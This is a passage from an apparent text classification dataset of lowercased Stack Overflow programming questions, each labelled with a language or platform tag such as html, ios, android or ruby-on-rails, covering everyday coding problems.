 li {
     display:inline;
 }
 
 li a{
     font-size: 28px;
     color:white;
     text-align:center;
     text-decoration: none;
 }
 
 li a:hover{
     background-color: #f2f2f2;
     color: #21cca5;
 }
  
 .active{
     color: #21cca5;
 }
 
 #extras{
     color:white;
     float: left;
     width: 20%;
     text-align: right;
     padding: 0px;
     clear: none;
 }
  
 #aoiti{
     color:white;
     float: left;
     width: 20%;
     text-align: left;
     padding: 0px;
     clear: none;
 }
  
 #aoitii{
     color:white;
     float: left;
     width: 20%;
     text-align: center;
     padding: 0px;
     clear: none;}
 
 #home{
     color:white;
     float: left;
     width: 20%;
     text-align: center;
     padding: 0px;
     clear: none;
 }
  
 #gallery{
     color:white;
     float: left;
     width: 20%;
     text-align: center;
     padding: 0px;
     clear: none;
 }</code></pre>
 </div>
 </div>
     and my relevant html code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;ul id= linkbar &gt;
  &lt;li id= home &gt;&lt;p&gt;&lt;a href= aoiti.html  class= active &gt;&lt;p&gt;home&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;
  &lt;li id= aoiti &gt;&lt;p&gt;&lt;a href= aoiti.html &gt;aoit i&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
  &lt;li id= aoitii &gt;&lt;p&gt;&lt;a href= aoitii.html &gt;aoit ii&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
  &lt;li id= extras &gt;&lt;p&gt;&lt;a href= academics.html &gt; extras&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
  &lt;li id= gallery &gt;&lt;p&gt;&lt;a href= aoiti.html &gt;gallery&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
  &lt;p&gt;&lt;br&gt;&lt;/p&gt;
 &lt;/ul&gt;</code></pre>
 </div>
 </div>",html
how to pass variable to other method   i know this is a very beginner question  but i ve been struggling to figure it out.    i m trying to build an ios game (using cocos2d) and so i have 2 sets of files    gamescene.h and gamescene.m mainmenu1.h and mainmenu1.m    gamescene has the sharedcode i ve leaned to put in.     i call my mainmenu1 - the user chooses how many players from a menuitemwithimage and that calls chooseplayers    i can figure out which menu item was touched  but i need to pass the number of players back to gamescene    in gamescene i put in   <pre><code>-(void) setplayers (nsinteger*) players { totalplayers = players; } </code></pre>   so in mainmenu1 chooseplayers i did   <pre><code>[[gamescene sharedgamedata] setplayers : 2]; </code></pre>   but that doesn t work.    i m sorry  i don t have the code in front of me (not until tonight); i ve been searching for hours and can t figure it out.,objective-c
can i put an anchor s href value in its contents automatically  without js   for the purpose of rapid coding and reducing tedium  <strong>i want to know if it s possible to auto-generate the contents of an html anchor as its <code>href</code> value without using javascript</strong>. the application i ll be using this in has pages large enough for a javascript solution to introduce significant lag.    example:   <pre><code>&lt;a href= http://example.com  class= autofill &gt;&lt;/a&gt; </code></pre>   is this possible  is it w3c-compliant  why or why not,html
ruby on rails one controller for two features  i have a <code>movies_controller.rb</code> with   <pre><code>def index   respond_with current_user.movies end </code></pre>   this allows me to only show the movies that respond with the current user on the frontpage.     but now i m also trying to create a feature that shows all recent added movies like this    <pre><code>def index   respond_with movies.all end </code></pre>   can i combine these two definitions in the same controller or do i need to create another controller  something like <code>recent_added_movies_controller.rb</code> and try to seperate the features     also i want to show both results on the same page. the <code>recently added movies</code> (which shows all added movies) feature is a popup that can be viewed on the frontpage (which shows the movies added by the user).    i ve created a codepen that might give a bit more insight in the problem <a href= http://codepen.io/alucardu/pen/wqoypb  rel= nofollow >http://codepen.io/alucardu/pen/wqoypb</a>    also i m using angluarjs to show the results   <pre><code>.movie_container{ ng-repeat  =&gt;  movie in movies | orderby: release_date  } </code></pre>,ruby-on-rails
in objective-c what is the difference between defining something (say a property) in the header file as opposed to the .m file   in objective-c what is the difference between defining something (say a property or a method) in the header file as opposed to the .m file   i ve heard that it has something to do with making it public or private  but i m not sure of the details.  if this is the case  is this the same as public and private methods in java       i m proficient at java so any way that you can relate objective-c to it would be helpful.    thanks    edit: to clarify  suppose i have a class (if that s the proper term) called  calculatorbrain   what is the difference between the following (pay attention to nsmutablearray *operandstack:    in the .m file:   <pre><code> @interface calculatorbrain()  @property (nonatomic  strong) nsmutablearray *operandstack;  @end </code></pre>   versus  in the .h file:   <pre><code> @interface calculatorbrain : nsobject  @property (nonatomic  strong) nsmutablearray *operandstack;  @end </code></pre>   what difference does it make where i define nsmutablearray *,objective-c
when to load an image to use the javascript function drawimage()   i would like to use the drawimage() function to load an image in a javascript animation  but the image does not load with my current code.  i think i need to specifically ask for the image to be loaded at some point  but i m not sure when or how.  the idea is to make a cloud that goes across the canvas. thank you for your help.   <pre><code>function draw(x y){     var canvas = document.getelementbyid( canvas );     var ctx = canvas.getcontext( 2d );     x += 2;     if(x&gt;1000){         x=0;     }      var cloud = new image();     cloud.src= small_cloud.png ;     ctx.drawimage(cloud x 0);      var looptimer = settimeout( draw( +x+   +y+ )  20);  } </code></pre>,javascript
meaning of a return type of this function in c++  i have picked up an open source lib (libbitcoin.)    would i like to have the explanation of the signature of this function    <pre><code>static const char* symbol() {     return  fetch-balance ; } </code></pre>,c++
implement interface property that is an interface  given the code below i get the following errors  that the parent and child don t implement iparent/ichild. i have clearly misunderstood something. what is the correct way to implement this or am i better off using abstract classes      to add more detail  these classes are used in ef so i need to implement rather than having an abstract type.  the property must be a valid entity type and the property should have a non-abstract getter and setter.    <pre><code>public interface iparent {     int parentid { get; set; }     ichild child { get; set; } }  public interface ichild {     int childid { get; set; }     iparent parent { get; set; } }  public class parent : iparent {     public int parentid { get; set; }     public child child { get; set; } }  public class child : ichild {     public int childid { get; set; }     public parent parent { get; set; } } </code></pre>,c#
how to zoom out an image with keeping it in a center of the scrollview  in my application i need to capture an image with cam and then pass it to the imageview  which is used as a subview for a scrollview.    the requirement is  the image must facilitate 1/4th size for zoom out and 3 times the size for zoom in .    now the problem is that when i zoom out this image the image zooms out  but it doesn t hold its position in the center. it sets its position respective to the touches of finger. (no double tap zooming is there  and not required too)    below is the code..    <pre><code>- (void)viewdidload  </code></pre>   {     [super viewdidload];   <pre><code>uiimage* tmpimage = nil; tmpimage = [roomimage resizedimage:imagescrollview.frame.size interpolationquality:0]; imageview = [[uiimageview alloc] initwithimage:tmpimage]; imageview.contentmode = uiviewcontentmodescaleaspectfit;  imagescrollview.delegate = self; imagescrollview.cancancelcontenttouches = no; imagescrollview.minimumzoomscale = 0.25; imagescrollview.maximumzoomscale = 3.00;   imagescrollview.clipstobounds = yes;  [imageview sizetofit]; [imagescrollview addsubview:imageview];  imagescrollview.contentsize = imageview.frame.size;     imagescrollview.contentmode = uiviewcontentmodescaleaspectfit;       imagescrollview.contentoffset = cgpointmake(imagescrollview.frame.size.width/2  imagescrollview.frame.size.height/2); imagescrollview.autoresizessubviews = yes; imagescrollview.autoresizingmask =  uiviewautoresizingflexibleheight |        uiviewautoresizingflexiblewidth   |   uiviewautoresizingflexibleleftmargin | uiviewautoresizingflexiblerightmargin |  uiviewautoresizingflexibletopmargin | uiviewautoresizingflexiblebottommargin;   cgfloat f x y;  if(tmpimage.size.height &gt; tmpimage.size.width) {     f = (imagescrollview.frame.size.height/tmpimage.size.height); } else {     f = (imagescrollview.frame.size.width/tmpimage.size.width); }  x = (imagescrollview.frame.size.width - tmpimage.size.width*f)/2; y = (imagescrollview.frame.size.height - tmpimage.size.height*f)/2;  imageview.bounds = cgrectmake(x  y tmpimage.size.width  tmpimage.size.height); [imageview setneedsdisplay]; [imagescrollview setzoomscale:f animated:yes]; [imagescrollview setneedsdisplay];  jpgpath = nil; [roomimage release]; roomimage = nil; </code></pre>   }    hope any one can help me out..     thanks in advance..,iphone
badimageformatexception - is it possible to specify which .net version is used to run an executable   i m running a .net 2.0 executable with a .com extension from a command line and receiving the following error:   <pre><code>system.badimageformatexception : the module was expected to contain an assembly manifest. (exception from hresult: 0x80131018) </code></pre>   i m pretty sure it s trying to load a dll from the .net 2.0 global assembly cache.    i only get this error on machines with .net 4.0 / visual studio 2010 installed  so i m assuming its using the wrong .net framework version to run. any ideas on how to confirm this assumption     or is there a way to specify the program to use .net 2 runtime instead of .net 4 to run the .com file,.net
how to build framework more securely in ios  i am trying to create a ios framework which would be used by multiple team in my concern. i want to make sure that the framework is more secured and will not be hacked by anyone. please give me some steps/way to build the framework in a secured way. (could be usage of cryptography/passcode).     thanks in advance.,ios
when an api goes public  can an app still get rejected for using it   a co-worker and i are having a debate about how apple treats apps that use a formerly private api. imagine if you will <code>[nsappleobject somemethod]</code> where <code>somemethod</code> was a private  undocumented method in ios 7.1  but as of ios 8.2 it gets made public. the app supports ios 7.1 up.    i want to check for the availability of <code>somemethod</code> using <code>respondstoselector</code> and  if available  use it. my co-worker contends that because this method was private in 7.1 and our app supports 7.1  apple will reject its use  even though the api is now public.    insofar as anyone can predict what apple will and will not reject  is my co-worker correct,ios
concatenate strings from a nsarray  <pre><code>#import &lt;foundation/foundation.h&gt; #include &lt;stdlib.h&gt; #include  generarpassword.h   @implementation generarpassword  -(nsdictionary*) generardiccionario {     nsdictionary* m_dict =[nsdictionary dictionarywithobjectsandkeys:       @ dx   @ 1         @ om   @ 2         @ al   @ 3         @ na   @ 4         @ je   @ 5         @ ko   @ 6         @ ke   @ 7         @ fi   @ 8         @ re   @ 9         @ me   @ 10         @ mu   @ 11         @ ra   @ 12         @ lu   @ 13         @ lo   @ 14         @ ka   @ 15         nil];      return m_dict; }  -(void) printpassword:(int) password {     nslog(@ %d  password); }  /*se genera la clave numérica*/ -(int) generarclave {     srand(time(0));     int r = rand() %(9999-1000+1) +1000;     return r; }  //esta función genera el valor aleatorio -(nsstring*) generarvalor:(nsstring*) key {     nsstring *valor = [[self generardiccionario] valueforkey: key];     return valor; }  -(nsarray*) generarlistaletras:(int) numero {     nsarray* lista = [[nsarray alloc] initwithobjects: [nsnumber numberwithint:0]  [nsnumber numberwithint:0]  [nsnumber numberwithint:0] nil];     return lista; }  -(void) imprimirarreglo:(nsarray*) arreglo {     int i = 0;     nsstring *str1 =@   ;     for (i=0;i&lt;2;i++)     {         [str1 stringbyappendingstring:[arreglo objectatindex:0]];     }     nslog(@ %@  str1); }        // lista = [0 0 0]       //lista[random.randrange(0 3)] = [generarvalor(numero)]        //for i in range(len(lista)):      //       if lista[i] == 0:      //             lista[i] = [generarvalor(random.randrange(11 20))]      // return lista @end  int main(int argc  char const *argv[]) {     nsautoreleasepool * pool = [[nsautoreleasepool alloc] init];     generarpassword *generar1 = [[generarpassword alloc]init];     int clave = [generar1 generarclave];     [generar1 printpassword:clave];     nsdictionary* dict = [generar1 generardiccionario];     nslog(@ %@  [[generar1 generardiccionario] valueforkey:@ 1 ]);     [generar1 imprimirarreglo:[generar1 generarlistaletras:123]];     [pool drain];     return 0; } </code></pre>   my idea is to print the array (the function imprimirarreglo)  but when run the program i get this exception: uncaught exception nsinvalidargumentexception  reason: can not determine type information for -[nsintnumber (null)]; what i wanted was to print the array with format 0 0 0.,objective-c
responsive menu ul to close only on mobile  i m trying to fix my responsive menu so that when i click on a link - the menu slides up - it is on <a href= http://ineedaweatherforecast.co.uk/index.html  rel= nofollow >http://ineedaweatherforecast.co.uk/index.html</a>   <pre><code>&lt;script&gt;  $(document).ready(function() {     $( .toggle-nav ).click(function(e) {         $(this).toggleclass( active );         $( .menu ul ).slidetoggle( active );          e.preventdefault();     }); }); &lt;/script&gt;  &lt;script&gt;      $(document).ready(function() {         if ( $(window).width() &lt; 1061) {       $( .switch ).click(function() {         $( .menu ul ).slidetoggle();   }); };     }); &lt;/script&gt; </code></pre>   the problem i have is that this also slides the menu up on desktop/tablet which i don t want - hence trying  if ( $(window).width() &lt; 1061) {  to only do so at screen sizes of 1060 or less - ie the screen size where i use the hamburger menu - but this does not work.    can anyone kindly assist   going a little loco!    thanks james,jquery
sql select best practice  the following works  i m just wondering if this is the correct approach to finding the latest value for each audit field.   <pre><code>use tempdb create table tbl( tblid int  auditfieldid int  auditvalue int  auditdate date ) go insert into tbl(tblid auditfieldid auditvalue auditdate) values(1 10 101  1/1/2001 ) insert into tbl(tblid auditfieldid auditvalue auditdate) values(2 10 102  1/1/2002 ) insert into tbl(tblid auditfieldid auditvalue auditdate) values(3 20 201  1/1/2001 ) insert into tbl(tblid auditfieldid auditvalue auditdate) values(4 20 202  1/1/2009 )   select auditfieldid auditvalue auditdate from tbl a where tblid= (select top 1 tblid from tbl where auditfieldid=a.auditfieldid order by auditdate desc ) </code></pre>,sql
issues in setting the png image in relative layout in android  i have displayed an png image in relative layout using xml code in android at the bottom of screen but it there is small gap between the image bottom and the base and i want that image should touch the base.,android
how can i send an object with $broadcast   i have the following:   <pre><code>$scope.$watch( tableform.$pristine   function (newvalue) {     $rootscope.$broadcast( tabledataupdated            { state: $scope.tableform.$pristine }); }); </code></pre>   i also tried:   <pre><code>$scope.$watch( tableform.$pristine   function (newvalue) {     var tableform = { pristine: $scope.tableform.$pristine };     $rootscope.$broadcast( tabledataupdated   tableform); }); </code></pre>   when the tableform <code>$pristine</code> state changes then the value of <code>$scope.tableform.$pristine</code>  is set to <code>false</code> and this message is broadcast.     however when i try to receive the message the value of  state  is not defined:   <pre><code>$rootscope.$on( tabledataupdated   function (args) {     alert(args.state); }); </code></pre>   i also tried:   <pre><code>$rootscope.$on( tabledataupdated   function (args) {     alert(args.tableform); }); </code></pre>   still i seem not to be able to send the object and have it received,angularjs
problem with imageview onclicklistener on android  i have  problem  in my android app  i have <code>imageview</code> and i implemented <code>onclick</code> event but when i click on <code>imageview</code> it looks like that it doesn t run <code>onclicklistener</code> at all.    any help,android
is there any provision in google play to upload apk builds for different architecture  is there any provision in google play to upload apk builds for different architecture like (armv-7  armv-8  x86  mips)    thanks,android
how can i implement a cancel-button for a batch/queue routine   i have a vb.net 2.0 program  that has a batch/queue routine to execute tasks that take a long while. one of the tasks is  upload to ftp  of large files. the queue is started by the user clicking the  start  button  and then a for-loop just runs over each batch item  and does whatever it needs.    now i want to implement a  cancel queue execution  button. the button should be clickable (the gui mustn t be blocked by the queue being executed)  and the button should stop the current queue action (i don t care about rollback of previously executed tasks).    i guess i need separate threads and some kind of notification scheme  but at what point should i check if the notification is sent  in the for-loop of the queue  but then the user would have to wait for the full upload of the file before the break  which is not what he wants. in the  file upload  method  that s putting too much code in one method  i feel intuitively.    i also need to do some cleanup of the current batch item s actions (like delete the partially uploaded file)  so that has to be factored in somewhere too.    any suggestions in high-level code or with examples  thanks in advance!,.net
how to retrieve logged user image from ad  <blockquote>    i had my code to retrieve logged user details   every thing is ok but   i cannot retrieve the user image .  </blockquote>  <pre><code>directorysearcher searcher = new directorysearcher();         searcher.searchscope = searchscope.subtree;         searcher.filter = string.format(cultureinfo.invariantculture   (samaccountname={0})   environment.username);         //searchresult finduser = searcher.findone();         foreach (searchresult finduser in searcher.findall())         {             if (finduser != null)             {                 directoryentry user = finduser.getdirectoryentry();                 string username = user.properties[ displayname ].value.tostring();                 string departement = user.properties[ department ].value.tostring();                 string title = user.properties[ title ].value.tostring();                 string[] rt = new string[] { login  username  email  mobile };                  lbl_user.text = username;                 lbl_administrative.text = departement;                 lbl_position.text = title;              }         } </code></pre>,asp.net
how to set image in uitabbaritem for default  i am working in <code>uitabbarcontroller</code>  when i am going to set image for tabs  the image does not appear for first time when view is open. i don t know how to resolve this problem.    this is the code i am using:   <pre><code>uiimage *prfimage = [uiimage imagenamed:@ profile_o.png ]; uiimage *selimage = [uiimage imagenamed:@ profile_o.png ]; uitabbaritem *tbp = [[uitabbaritem alloc] initwithtitle:@   image:prfimage tag:yes]; [self settabbaritem:tbp]; [[uitabbar appearance] settintcolor:[uicolor colorwithred:247/255.0f green:148/255.0f blue:29/255.0f alpha:2.0f]]; self.tabbaritem.imageinsets = uiedgeinsetsmake(6  0  -6  0); self.title = nil; </code></pre>,ios
the action  update  could not be found for messagescontroller  i am trying to add the compose box on the message view so that it can send a new message that references the original message id. the code i have is giving me a <code>the action  update  could not be found for messagescontroller</code>. it should not be updating the current record  as it s supposed to be submitting a new message id and referencing the <code>original_message_id</code>.    should i change how the form submits itself  as on my working reply page the page url is <code>http://localhost:3000/users/1/messages/new reply_to=3</code> and that submits a new message. with my current code i am being directed to <code>http://localhost:3000/users/1/messages/new</code>     can someone take a look and let me know what i am doing wrong     message show with compose box:   <pre><code>        &lt;strong&gt;from:&lt;/strong&gt;          &lt;%= @message.sender %&gt;     &lt;/p&gt;      &lt;p&gt;         &lt;strong&gt;received:&lt;/strong&gt;          &lt;%= @message.created_at.strftime( %b %-d  %y %l:%m%p ) %&gt;     &lt;/p&gt;     &lt;p&gt;          &lt;strong&gt;subject:&lt;/strong&gt;          &lt;%= @message.subject %&gt;     &lt;/p&gt;      &lt;p&gt;         &lt;strong&gt;message&lt;/strong&gt;&lt;br /&gt;         &lt;%=h @message.body %&gt;     &lt;/p&gt;  &lt;%= form_for @message  :url =&gt; new_user_message_path(@user  :reply_to =&gt; @message.sender.id) do |f| %&gt;       &lt;% if @message.recipient_id.nil  %&gt;         &lt;p&gt;           to:&lt;br /&gt;            &lt;%= f.hidden_field :recipient_id  :value =&gt; params[:user_id] %&gt;          &lt;/p&gt;        &lt;% end %&gt;           &lt;p&gt;             &lt;%= f.hidden_field :subject %&gt;           &lt;/p&gt;           &lt;p&gt;             reply:&lt;br /&gt;             &lt;%= f.text_area :body %&gt;           &lt;/p&gt;            &lt;%= submit_tag  send %&gt;     &lt;% end %&gt;      &lt;p&gt;         &lt;% if @message.next %&gt;           &lt;%= link_to  next   user_message_path(current_user  @message.next) %&gt;         &lt;% end %&gt;         &lt;% if @message.previous %&gt;           &lt;%= link_to  previous   user_message_path(current_user  @message.previous) %&gt;         &lt;% end %&gt;         &lt;/p&gt;      &lt;p&gt;         &lt;% if @message.recipient == @user %&gt;          &lt;%= link_to  reply   new_user_message_path(@user  :reply_to =&gt; @message.sender.id) %&gt;           |         &lt;% end %&gt;         &lt;%= link_to  inbox   user_messages_path(current_user  :mailbox=&gt;:inbox)%&gt;         |         &lt;%= link_to  delete   [current_user  @message]  :confirm =&gt;  are you sure you want to delete this message    :method =&gt; :delete %&gt;      &lt;/p&gt; </code></pre>   messages controller:   <pre><code>  before_filter :set_user    def index     if params[:mailbox] ==  sent        @messages = @user.sent_messages.paginate :per_page =&gt; 10  :page =&gt; params[:page]  :order =&gt;  created_at desc      elsif params[:mailbox] ==  inbox        @messages = @user.received_messages.paginate :per_page =&gt; 10  :page =&gt; params[:page]  :order =&gt;  created_at desc      #elsif params[:mailbox] ==  archived       # @messages = @user.archived_messages     end     if params[:mailbox] ==  unread      @messages = @user.unread_messages.paginate :per_page =&gt; 10  :page =&gt; params[:page]  :order =&gt;  created_at desc    end   if params[:mailbox] ==  trash      @messages = @user.deleted_messages.paginate :per_page =&gt; 10  :page =&gt; params[:page]  :order =&gt;  created_at desc    end   end    def new     @message = message.new     if params[:reply_to]       @reply_to = user.find_by_id(params[:reply_to])       unless @reply_to.nil          @message.recipient_id = @reply_to.id       end     end   end    def create     @message = message.new(params[:message])     @message.sender_id = @user.id     if @message.save       flash[:notice] =  message has been sent        redirect_to user_messages_path(current_user  :mailbox=&gt;:inbox)     else       render :action =&gt; :new     end   end    def show       @message = message.find(params[:id])       @message.readingmessage if @message.recipient == current_user     end      def destroy      @message = message.find(params[:id])      @message.destroy      flash[:notice] =  successfully deleted message.       redirect_to user_messages_path(@user  @messages)    end    def delete_multiple       if params[:delete]         params[:delete].each { |id|           @message = message.find(id)           @message.mark_message_deleted(@message.id @user.id) unless @message.nil          }         flash[:notice] =  messages deleted        end       redirect_to user_messages_path(@user  @messages)   end    def reply     @message = message.find(params[:id]).reply(id)   end    private     def set_user       @user = current_user   end end </code></pre>   messages model:   <pre><code>    attr_accessible :subject  :body  :sender_id  :recipient_id  :read_at :sender_deleted :recipient_deleted     validates_presence_of :subject  :message =&gt;  please enter message title      has_many :notifications  as: :event     belongs_to :user   scope :unread  -&gt; {where( read_at is null )}   scope :not_deleted_by_recipient  where( messages.recipient_deleted is null or messages.recipient_deleted =     false)   scope :not_deleted_by_sender  where( messages.sender_deleted is null or messages.sender_deleted =     false)      belongs_to :sender      :class_name =&gt;  user       :foreign_key =&gt;  sender_id      belongs_to :recipient      :class_name =&gt;  user       :foreign_key =&gt;  recipient_id        def reply       new_message.reply_from_user_id = self.id #save the user id of original repost  to keep track of where it originally came from   end    def self.by_date       order( created_at desc )     end      # marks a message as deleted by either the sender or the recipient  which ever the user that was passed is.     # when both sender and recipient marks it deleted  it is destroyed.     def mark_message_deleted(id user_id)             self.sender_deleted = true if self.sender_id == user_id             self.recipient_deleted = user_id if self.recipient_id == user_id             (self.sender_deleted &gt; 0 &amp;&amp; self.recipient_deleted &gt; 0)   self.destroy : self.save!             (self.sender_deleted != 0 &amp;&amp; self.recipient_deleted != 0)         end     # read message and if it is read by recipient then mark it is read     def readingmessage       self.read_at ||= time.now       save     end      # based on if a message has been read by it s recipient returns true or false.     def read          self.read_at.nil    false : true     end      def self.received_by(user)        where(:recipient_id =&gt; user.id)      end       def self.not_recipient_deleted        where( recipient_deleted =     false)      end       def self.sent_by(user)         message.where(:sender_id =&gt; user.id)       end        def next(same_recipient = true)         collection = message.where( id &lt;&gt;   and created_at &gt;     self.id  self.created_at).order( created_at asc )         collection.where(recipient_id: self.recipient_id) if same_recipient         collection.first       end        def previous(same_recipient = true)         collection = message.where( id &lt;&gt;   and created_at &lt;     self.id  self.created_at).order( created_at desc )         collection.where(recipient_id: self.recipient_id) if same_recipient         collection.first       end     end      private     def send_notification(message)       message.notifications.create(user: message.recipient)     end </code></pre>,ruby-on-rails
mysql - composite unique key with datetime  i have a transaction table where several rows may be stored against three attributes (foo_id  bar_id)  and the last attribute is deleted_at  the thought here is to ensure that i only have one active row at a time (deleted_at =  0000-00-00 00:00:00 ).    but i am getting the following error:   <pre><code>mysql&gt; update epic_table set deleted_at = now() where (foo_id =  1  and bar_id in ( 18 )); error 1062 (23000): duplicate entry  18-1-2015-08-08 16:35:46  for key  epic_table_ibuk_1  </code></pre>   here is the schema:   <pre><code>create table `epic_table` (   `id` bigint(20) unsigned not null auto_increment    `foo_id` bigint(20) unsigned not null    `bar_id` bigint(20) unsigned not null    `created_at` datetime not null default  0000-00-00 00:00:00     `deleted_at` datetime not null default  0000-00-00 00:00:00     primary key (`id`)    unique key `epic_table_ibuk_1` (`foo_id` `bar_id` `deleted_at`)    key `epic_table_ibfk_1` (`foo_id`)    key `epic_table_ibfk_2` (`bar_id`)    constraint `epic_table_ibfk_1` foreign key (`foo_id`) references `foo` (`id`)    constraint `epic_table_ibfk_2` foreign key (`bar_id`) references `bar` (`id`) ) engine=innodb auto_increment=37 default charset=utf8 </code></pre>   the only thing that immediately stands out is that mysql may not be considering the time portion of the datetime value  and therefore complaining about another row with <code>18-1-2015-08-08</code>.    any ideas how i can maintain the multiple row flexibility while being able to enforce that only one row is  active  at any given time,mysql
function to compare dates in php doesn t work  i built this function that is supposed to compare dates and return a boolean. when i run it though  it breaks  the page stops.    the function:   <pre><code> public function compare_date_outlook($creation  $modification) {         $creation_date =  datetime::createfromformat( y-m-d\th:i:s+   $creation);         $creation_date = $creation_date-&gt;format(  y-m-d );         $modification_date =  datetime::createfromformat( y-m-d\th:i:s+   $modification);         $modification_date = $modification_date-&gt;format(  y-m-d );            $date = new \datetime(  yesterday  );         $date-&gt;settime( 0  0  0 );         $yesterday = $date-&gt;format(  y-m-d );             if (($creation || $modification) == $yesterday)            {                return true;            }             else {                return false;            }         } </code></pre>   how i call it:   <pre><code>if ( compare_date_outlook($a[ creationdate ]  $a[ lastmodifieddate ]) === true) </code></pre>   the format of the date:   <pre><code> $a[ creationdate ] =  2017-09-08t13:26:11.4354775z ; </code></pre>   it stops right in the beginnig:   <pre><code>$creation_date =  datetime::createfromformat( y-m-d\th:i:s+   $creation); </code></pre>,php
view value of password edittext while a button is pressed  how can i view the value of an edittext view whose input type is  password  when i click a button and when i release the button  the text display goes back to unreadable format  like what microsoft does in windows 8 when you click the  eye  that is next to a password field.    thanks,android
problems with gridview and hyperlinkcolumn  when using control datagrid  i can perfectly use this type of column:   <pre><code>&lt;asp:hyperlinkcolumn datanavigateurlfield= url_doc  datatextfield= des_doc  headertext= document &gt;                      &lt;itemstyle horizontalalign= center &gt;&lt;/itemstyle&gt; &lt;/asp:hyperlinkcolumn&gt; </code></pre>   where  url_doc  come from stored procedure with this value:   <pre><code>selet    ../documentos/                    || res.cod_op                   ||  /                    || tdo.des_tipo_doc                   ||  /                    ||  01                    ||  /                    || res.file_name as url_doc from mytable </code></pre>   url_doc stores path of a document file  which is included in a sub folder of my asp.net project. when i click on hyperlinkcolumn  i can open that document file.    now  if i try to use gridview  i can t find any column as good as hyperlinkcolumn. when using gridview  i tried to use hyperlinkfield like:   <pre><code>&lt;asp:hyperlinkfield                     datanavigateurlfields= url_doc                      datatextfield= des_doc                       datanavigateurlformatstring= url_doc   /&gt; </code></pre>   however  when i click on hyperlinkfield  program tries to open a file named  url_doc   not the path included in the variable url_doc.    any idea how to proceed in this case,asp.net
does a universal (fat) library increase app package size   i m curious if building against a universal (fat) library containing both armv7 and i386 code (for the simulator) increase the size of the apps distribution package or will the build process for the device strip out the i386 stuff and debug information,ios
usesegmentedcontrolviewcontroller.h  file not found  the line   <pre><code>#import &lt;usesegmentedcontrolviewcontroller.h&gt; </code></pre>   in my little attempt to do a segmented control has led to the error     usesegmentedcontrolviewcontroller.h  file not found    the lines    <pre><code>#import &lt;coremotion/coremotion.h&gt; #import  viewcontroller.h  #import &lt;audiotoolbox/audiotoolbox.h&gt; #import &lt;audiotoolbox/audioservices.h&gt; </code></pre>   are all fine.    is there some particular framework i should be loading     i currently have:    <ul> <li>audiotoolbox</li> <li>coremotion </li> <li>corelocation </li> <li>uikit</li> <li>foundation</li> <li>coregraphics</li> </ul>   tia dr. j,iphone
ios: modify mic data stream with audio unit   could someone explain in terms of audio unit connections how to modify the iphone microphone data stream visible to other processes with gain or eq  i understand how to use a remote i/o unit to grab mic data and do my processing. i want this new data to replace the original mic data stream  not go to speakers or a file.  audio unit hosting fundamentals  figure 1-3 is close.    i have read everything out there on audio units and used several of the online examples (tim b  play it loud  tasty pixel) but don t see how to do this yet.    any help  thanks,ios
html code for text positioning  on <a href= http://www.justcycles.ie/about-us-1-w.asp  rel= nofollow >http://www.justcycles.ie/about-us-1-w.asp</a> you will see that the writing is to the left too much what code do i need to move it across more central,html
reuse jquery in another control  i have this jquery code inside a asp.net mvc 3 razor view   <pre><code>var uriarticulos =  @url.action( obtenerarticulos    articulo ) ; $( #descripcionarticuloeditandotextbox ).autocomplete({     source: uriarticulos      select: function (event  ui) {         $( #idarticuloeditandotextbox ).val(ui.item.id);         $( #unitarioarticuloeditandolabel ).text(ui.item.unitario);     } }); </code></pre>   i need to use this autocomplete in a lot of places. how can i reuse it in another control in other views in the same project whithout copy &amp; paste     i m trying this code  but nothing happens   <pre><code>jquery.autocomplete.js  (function ($) {     $.fn.articuloautocomplete = function () {          return this.each(function () {             var $this = $(this);             var uriarticulos =  @url.action( obtenerarticulos    articulo ) ;             $this.autocomplete({                 source: uriarticulos                  select: function (event  ui) {                     $( #idarticuloeditandotextbox ).val(ui.item.id);                     $( #unitarioarticuloeditandolabel ).text(ui.item.unitario);                 }             });          });      }; })(jquery); </code></pre>   and i m calling it with   <pre><code>&lt;script src= @url.content( ~/scripts/jquery.articuloautocomplete.js )  type= text/javascript &gt;&lt;/script&gt;  &lt;script type= text/javascript &gt;     $(document).ready(function () {         $( #descripcionarticuloeditandotextbox ).articuloautocomplete(); . . . </code></pre>   thanks in advance,jquery
magic submit button!  the following code seems to be valid:    <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01 transitional//en   http://www.w3.org/tr/html4/loose.dtd &gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;sample form&lt;/title&gt; &lt;style type= text/css &gt;   input {width:500px; padding:3px; background:green; border:1px solid red;}   textarea {width:500px; height:150px; padding:3px; background:green ; border:1px solid red;} &lt;/style&gt; &lt;/head&gt; &lt;body&gt;   &lt;form action=  &gt;     &lt;p&gt;&lt;input id= entry_0 &gt;&lt;label for= entry_0 &gt;name&lt;/label&gt;&lt;/p&gt;     &lt;p&gt;&lt;input id= entry_1 &gt;&lt;label for= entry_1 &gt;email&lt;/label&gt;&lt;/p&gt;     &lt;p&gt;&lt;input id= entry_2 &gt;&lt;label for= entry_2 &gt;url&lt;/label&gt;&lt;/p&gt;     &lt;p&gt;&lt;textarea id= entry_3  rows= 5  cols= 5 &gt;&lt;/textarea&gt;&lt;/p&gt;     &lt;p&gt;&lt;input type= submit  value= submit &gt;&lt;/p&gt;   &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   however  the submit button width is shorter than other fields. strangely when i remove the doctype declaration  they all get the same length. what am i doing wrong and how can i make them the same size      thanks in advance!  rain lover,css
